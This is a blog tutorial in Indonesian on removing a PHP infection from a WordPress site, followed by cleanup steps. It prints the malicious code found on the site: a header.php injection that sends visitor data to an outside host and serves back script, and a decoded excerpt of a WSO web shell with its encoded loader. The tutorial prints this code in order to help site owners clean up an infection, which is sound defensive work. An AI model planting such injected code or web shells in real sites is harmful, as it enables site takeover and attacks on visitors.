Remove WordPress PHP Virus

Tutorial ini menyajikan kasus tertentu di mana sebuah blog WordPress itu terinfeksi. Pemindahan WordPress virus PHP.

Suatu hari saya melihat kode mencurigakan yang tampaknya merupakan virus PHP WordPress. Kode PHP berikut ada di header.php, sebelum garis </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Ini adalah beberapa kode PHP yang sepertinya sedang mencoba mengambil konten sumber daya dari server eksternal, tetapi bagian yang merujuk ke URL tidak lengkap.

Mekanisme kerjanya agak lebih kompleks dan melakukan ini WordPress Virus PHP tidak terlihat oleh pengunjung situs yang terpengaruh. Sebaliknya, itu menargetkan mesin pencari (Google) dan secara implisit menyebabkan penurunan yang signifikan dalam jumlah pengunjung ke situs web yang terpengaruh.

Detail malware WordPress PHP Virus

1. Kode di atas ada di header.php.

2. Sebuah file muncul di server wp-log.php di folder wp-includes.

3. wp-log.php berisi kode terenkripsi, tetapi relatif mudah untuk didekripsi.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dekripsi kode malware dari wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Tampaknya ini adalah skrip PHP berbahaya yang berisi kode untuk menangani autentikasi dan tindakan pada file dan direktori di server. Dapat dilihat dengan sangat mudah bahwa skrip ini berisi variabel seperti $auth_pass (kata sandi otentikasi), $default_action (tindakan default), $default_use_ajax (menggunakan Ajax secara default) dan $default_charset (pengaturan karakter default).

Jelas, skrip ini memiliki bagian yang memeriksa agen pengguna HTTP untuk memblokir akses ke bot web tertentu, seperti mesin pencari. Ini juga memiliki bagian yang memeriksa mode keamanan PHP dan menetapkan direktori kerja tertentu.

4. Jika wp-log.php diakses di browser, akan muncul halaman web dengan field of login. Sepintas tampaknya ini adalah pengelola file di mana file baru dapat dengan mudah diunggah ke server target.

Bagaimana Anda mendevirus situs web WordPress?

Selalu, proses de-virus manual pertama-tama melibatkan penemuan dan pemahaman apa kerentanannya.

1. Hasilkan cadangan untuk seluruh situs web. Ini harus menyertakan file dan database.

2. Tentukan kira-kira berapa lama virus telah ada dan cari file yang dimodifikasi atau yang baru dibuat di server web dalam perkiraan jangka waktu tersebut.

Misalnya, jika Anda ingin melihat file .php dibuat atau dimodifikasi dalam seminggu terakhir, jalankan perintah di server:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Ini adalah metode sederhana dimana Anda dapat mengungkap file WordPress terinfeksi dan yang mengandung kode malware.

3. Periksa file .htaccess arahan yang mencurigakan. Baris izin atau eksekusi skrip.

4. Periksa basis data. Sangat mungkin bahwa beberapa posting dan halaman WordPress diedit dengan malware atau yang baru ditambahkan pengguna dengan peran administrator.

5. Periksa izin tulis untuk folder dan file. chmod şi chown.

Izin yang disarankan adalah: 644 untuk file dan 755 untuk direktori.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Perbarui semua WordPress Plugins / WordPress Themes.

Terkait: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Ini adalah metode "dasar" yang dapat digunakan untuk mendevirus situs web / blog WordPress. Jika Anda memiliki masalah dan butuh bantuan, bagian komentar terbuka.

Sebagai pecinta teknologi, saya dengan senang hati menulis di StealthSettings.com sejak tahun 2006. Saya memiliki pengalaman yang kaya dalam sistem operasi: macOS, Windows, dan Linux, serta dalam bahasa pemrograman dan platform blogging (WordPress) dan toko online (WooCommerce, Magento, PrestaShop).

How to » WordPress » Remove WordPress PHP Virus
Tinggalkan Komentar